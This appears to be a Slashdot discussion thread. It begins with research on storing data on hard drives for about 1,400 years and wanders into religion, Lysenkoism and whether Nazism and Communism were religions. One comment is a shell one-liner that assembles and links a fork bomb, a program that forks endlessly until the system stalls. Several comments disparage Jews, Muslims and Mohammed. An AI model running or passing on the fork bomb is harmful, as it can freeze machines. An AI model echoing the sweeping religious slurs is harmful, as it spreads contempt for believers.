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Storing Data For the Next 1,000 Years
An anonymous reader writes "This may be an interesting take on creating long-term storage technologies. A team of researchers at UCSC claims to have come up with a power-efficient, scalable way to reliably store data for a theoretical 1,400 years with regular hard drives. TG Daily has an article describing this technology and it sounds intriguing as it uses self-contained but networked storage units. It looks like a complicated solution, but the approach is manageable and may be an effective solution to preserve your data for decades and possibly centuries." Nice to see research on this using the kinds of real-world figures for disk lifetimes that recent studies have been turning up.
Why not microscopic etching. One advantage over the stone and chisel approach is that you can carry the mountain in your pocket until the next civilization figures out how to read it...
And I mean it literally -- why have any physical storage at all? Why not just bounce chunks of data around forever on the Internet? Presumably the 'net is going to be here for a long, long time. Imagine a mass P2P network where the data being traded is just encrypted chunks of the data of other users. It needn't ever get written to a mass storage device at all -- just received from one peer and immediately sent to others.
A protocol could be developed to allow one peer to request, or steer, the network to locate and deliver requested blocks on demand. This might be a high-cost operation, akin to bringing data in from backup tape. Or, a client could just wait for the right chunk of data to recirculate to its position in the network. But storing data is easy -- just encrypt it, format it a certain way, and inject it into the network.
A natural model for the topology of such a network, and the protocol itself, is the circulatory system. Here, cells move in a fluid, generally in one direction, but through a complex network of vessels, and in a circulatory manner. The immune system might provide inspiration for directed movement of data chunks. (See? The Internet really is just a series of tubes.)
Over time, the infrastructure of the Internet, the P2P clients, and the exchange protocol itself could evolve, as long as enough redundant chunks are allowed to constantly recirculate. Specialized clients could cache data to "long term" storage for periods of a few days or weeks, in case of large, random outages, but permanent data storage would never rely on any specific technology at all -- even TCP/IP itself. It's all just this mass of recirculating encrypted chunks of data, like cells in the blood stream.
Well the Old Testament was written by backward Taliban types in the dark ages. What do you expect?
Something I didn't realise about the Old Testament until recently is that when they talk of the the Philistines binding Samson in 'chains of iron' it's because the Philistines had managed to master the technology to use iron but the Israelites hadn't.
http://en.wikipedia.org/wiki/Philistines#History
The Philistines long held a monopoly on iron smithing (a skill they possibly acquired during conquests in Anatolia), and the biblical description of Goliath's armor is consistent with this iron-smithing technology.
So 'God's chosen people' hadn't enterered the Iron Age at that point. There's lots of other signs that they were not exactly academically inclined either, like the biblical value of 3 for Pi which was less accurate than the value the competing civilisations knew.
The Qu'ran is just a bad mashup of the same primitive ramblings that inspired the Old Testament with some self serving editing by Mohammed. Or more likely early Muslims, since Mohammed was not particularly literate and had more important things to do with his time, like capture slaves and booty from more settled neighbouring tribes.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I mean that Communism and Nazism behaved like religions.
No. I was there, and I can most certainly say that they were ideologies and not religions. Religion always includes or endorses some ideology, but the reverse is not true, ideology does not necessarily have anything to do with religious belief.
A state-supported ideology is common and often nearly invisible for the member of society that practices it -- it is proclaimed (often clumsily) by government officials, is seen kinda working because society can prosper while supposedly implementing it for decades, it is assumed to be right by most and rarely questioned, but people also rarely actually think about it, or any alternatives, it's as if its validity or invalidity is irrelevant to the people's lives as long as society is capable of implementing it without creating discomfort and unrest. After all, it merely claims what is "a better way of running a society" as opposed to making claims about physical world that exists independently outside of human mind and ideas. Since most of people are not politicians, assuming that politicians are following some sort of rules that have little impact on everyday lives is a natural (though often stupid) thing to do, however for, say, a physicist it would be impossible to assume that religion's creation myth is correct -- it contradict with things physicist experiences in his work. In US the ideas of "capitalism" and "democracy" enjoy the same kind of ideological support -- I can make a case of both of them being pretty poorly thought out ideas in the first place, and separately of neither of them actually playing an important role in the way US society operates, however none of it will be a scientific argument because I will have to discuss people's ideas, behavior, motivation and impression about life. At most I can catch government and businesses lying and manipulating people using ideology as the tool to achieve desired behavior of the masses, however for every my claim there would be tens of millions of rednecks claiming that they naturally love doing exactly what I see them manipulated into doing.
Religion, on the other hand, requires actual belief and is treated not only as important part of everyday lives, ethics and history but also makes claims of facts -- something that ideology often approaches but never actually does. Even Nazi had to form their ideas of "superiority" and "rightful claim" of control in subjective terms -- though they used religious imagery and pseudo-scientific language, they neither required belief in any deity or creation myth, nor bothered to find scientific evidence of any kind. Their ideas are only "religious" in a way of "but won't it be nice if YOUR ethnicity was destined to rule the world?" as their first and last greatest proof of their ideas, not unlike "but won't it be nice if the world was ruled by benevolent deity?" is the first and last greatest proof of religion. It's a pretty weak analogy.
In that sense the Communist belief in Lysenkoism is a bit like the Catholic aversion to birth control. Neither were part of the original doctrine, but once you have priests or politicians that believe they have access to the absolute truth a bit sprouting is almost inevitable.
No. It's merely one person who gained favorable treatment by the government and massively abused the power he gained through it. This has nothing to do with religion and everything with government officials' irresponsibility and concentration of power. After the end of Stalinism in mid-50's, Lysenko's theories were thoroughly discredited, and it remains a single such event in the whole USSR history -- it taught post-Stalin governments to never mess with the content of scientific discourse, and limit government's influence to choosing directions to fund and support.
US propaganda loves picking such blunders in USSR history (almost exclusively taking them from Stalin's time) and present them as if they discredit wide aspects of USSR or Russian society, C
Contrary to the popular belief, there indeed is no God.